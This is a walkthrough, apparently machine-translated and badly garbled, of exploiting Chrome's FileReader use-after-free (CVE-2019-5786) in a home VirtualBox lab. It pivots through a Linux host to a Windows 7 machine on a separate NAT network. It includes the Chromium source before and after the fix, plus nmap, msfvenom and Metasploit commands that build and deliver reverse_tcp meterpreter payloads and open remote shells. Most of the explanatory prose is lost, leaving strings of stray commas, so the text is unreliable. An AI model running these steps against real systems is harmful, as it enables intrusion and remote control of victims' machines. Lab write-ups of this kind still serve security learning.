Chrome рдФрд░ Pivot рдорд╢реАрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ NAT рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдЕрдВрджрд░ рдореАрдЯрд░рдкреНрд░реЗрдЯрд░ рд╕рддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛

рдЫрд╡рд┐


рдкрд░рд┐рдЪрдпрд╛рддреНрдордХ


рд╕рднреА рдХреЛ рдирдорд╕реНрдХрд╛рд░, рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдореИрдВ Chrome FileReader UAF рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рдЕрдиреБрднрд╡ рдХреЛ рд╕рд╛рдЭрд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ, рдзреБрд░реА рддрдХрдиреАрдХ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░ рд░рд╣рд╛ рд╣реВрдВ, рдФрд░ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдЕрдкрдирд╛ рдкрд╣рд▓рд╛ рд▓реЗрдЦ рд▓рд┐рдЦреВрдВрдЧрд╛ред


Pentest , , , . , - , My English level is bad, , . , - , , .


CVE-2019-5786 Chrome FileReader Use After Free(UAF) тАФ ( 8 2019 ), , , ( ), .


?


, , , , , JavaScript.



js ┬л ┬╗ тАФ , , (, , ) , . ┬л , ┬╗, . .


FileReader


FileReader тАФ , File/Blob , (loaded, progress, error ...). ArrayBuffer readToArrayBuffer, , .


HTML5 Web-workers


Web-worker тАФ , JavaScript . , web-worker ( 3D). , web-worker , postMessage.


postMessage API


postMessage тАФ API (iFrame, web-worker, service-worker ..). , тАФ transfer, , -.



, filereader.onprogress ArrayBuffer, .


DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
  DCHECK_EQ(read_type_, kReadAsArrayBuffer);
  if (array_buffer_result_)
    return array_buffer_result_;

  // If the loading is not started or an error occurs, return an empty result.
  if (!raw_data_ || error_code_ != FileErrorCode::kOK)
    return nullptr;

  DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
  if (finished_loading_) {
    array_buffer_result_ = result;
    AdjustReportedMemoryUsageToV8(
        -1 * static_cast<int64_t>(raw_data_->ByteLength()));
    raw_data_.reset();
  }
  return result;
}

filereader.onprogress, ArrayBuffer.


DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
  DCHECK_EQ(read_type_, kReadAsArrayBuffer);
  if (array_buffer_result_)
    return array_buffer_result_;

  // If the loading is not started or an error occurs, return an empty result.
  if (!raw_data_ || error_code_ != FileErrorCode::kOK)
    return nullptr;

  if (!finished_loading_) {
    return DOMArrayBuffer::Create(
        ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));
  }

  array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
  AdjustReportedMemoryUsageToV8(-1 *
                                static_cast<int64_t>(raw_data_->ByteLength()));
  raw_data_.reset();
  return array_buffer_result_;
}

web-worker postMessage. , , , . , , . .


Pivoting


, , тАФ Pivoting, .


рдЫрд╡рд┐


:


  • (Kali linux).
  • NAT .
  • HiTM (Host in the middle) тАФ , , ( ).

NAT Network Address Translation HiTM , , IP NAT ( IP ). IP .


NAT , IP , (//).


, HiTM , , , !


Pivot , HiTM, , . Pivoting тАФ , .



:


  • Virtual Box ( VMWare ).
  • Kali linux ().
  • Windows 7 ().
  • Linux (HiTM machine).
  • - , , .

:


  1. Virtual box 2 NAT KaliNetwork тАФ 10.0.2.0/24, VMNetwork тАФ 10.0.3.0/24 ( preferences/network).

    рдЫрд╡рд┐
  2. Kali, Network, NAT network KaliNetwork.
  3. (Windows 7) NAT Network VMNetwork.
  4. , KaliNetwork, VMNetwork.
  5. ssh ssh ( ), GatewayPorts = yes /etc/ssh/sshd_config.

    рдЫрд╡рд┐
  6. Chrome 72.0.3626.119 .

, .


. , nmap, , , .


nmap -n -sn 10.0.2.0/24

nmap ping 10.0.2.0/24 ( 10.0.2.1 10.0.2.255) , ( , , ).


рдЫрд╡рд┐


?


  • 10.0.2.7 тАФ Kali.
  • 10.0.2.5 тАФ pivot .
  • virtual box .

HiTM . Metasploit framework тАФ , .


metasploit .


msfconsole -q

.


use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.0.2.7
exploit -j

:


  • use exploit/multi/handler metasploit, .
  • set payload linux/x86/meterpreter/reverce_tcp , meterpreter reverse_tcp , . , bind_tcp.
  • set LHOST 10.0.2.7 , ( 4444).
  • exploit -j .

, , , Kali.


metasploit msfvenom HiTM . .


msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.2.7 LPORT=4444 -f elf > ./expl.elf

рдЫрд╡рд┐


( ).
ssh :


scp ./expl.elf username@10.0.2.5:тАЩexpl.elf'

HiTM .


рдЫрд╡рд┐


, meterpreter .


sessions -i 1

ifconfig , 10.0.3.0/24.


рдЫрд╡рд┐


, , Pivot .


. , pivot , , , 10.0.3.0/24 10.0.2.0/24 , payload - , .


pivot , , , .


, metasploit, ssh.


2 :


  • 8080 тАФ .
  • 5555 тАФ meterpreter .

pivot .


рдЫрд╡рд┐


, metasploit .


use exploit/windows/browser/chrome_filereader_uaf
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.3.6
set LPORT 5555
set EXITFUNC thread
set URRIPATH /
exploit -j


  • use exploit/windows/browser/chrome_filreader_uaf , .
  • set payload windows/meterpreter/reverse_tcp meterpreter windows.
  • set LHOST 10.0.3.6 , pivot , VMNetwork, tcp pivot , pivot .
  • set LPORT 5555 5555, 4444 pivot .
  • set EXITFUNC thread , , -, , .
  • set URIPATH / , , http://10.0.3.6:8080/ , .

, chrome, , тАФno-sandbox .


chrome.exe тАФ-no-sandbox

, IP, LHOST http://10.0.3.6:8080/ тАФ 8080, , , - , .


рдЫрд╡рд┐


- , meterpreter, .


рдЫрд╡рд┐


рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рд╕рднреА рдЬреАрдд рд╣реИ, рд╣рдо рдЕрдкрдиреЗ рд╣рдорд▓реЗ рдХреЛ рдФрд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рд╣рдо рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдмреЗрд╢рдХ, рдмрд╣реБрдд рд╕реЗ рд╕рд┐рддрд╛рд░реЛрдВ рдХреЛ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреБрдЯрдирд╛ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдиреЗрдЯрд╡рд░реНрдХ рдЕрд▓рдЧ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд▓реЛрдЧ рднреА, рдЗрд╕рд▓рд┐рдП рдореЗрд░реА рд╡рд┐рдирдореНрд░ рд░рд╛рдп рдореЗрдВ, рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬреНрдЮрд╛рди рдмрд╣реБрдд рдЕрдзрд┐рдХ рдирд╣реАрдВ рд╣реЛрдЧрд╛, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдХреМрди рдЬрд╛рдирддрд╛ рд╣реИред


рд╕рд╛рдордЧреНрд░реА




All Articles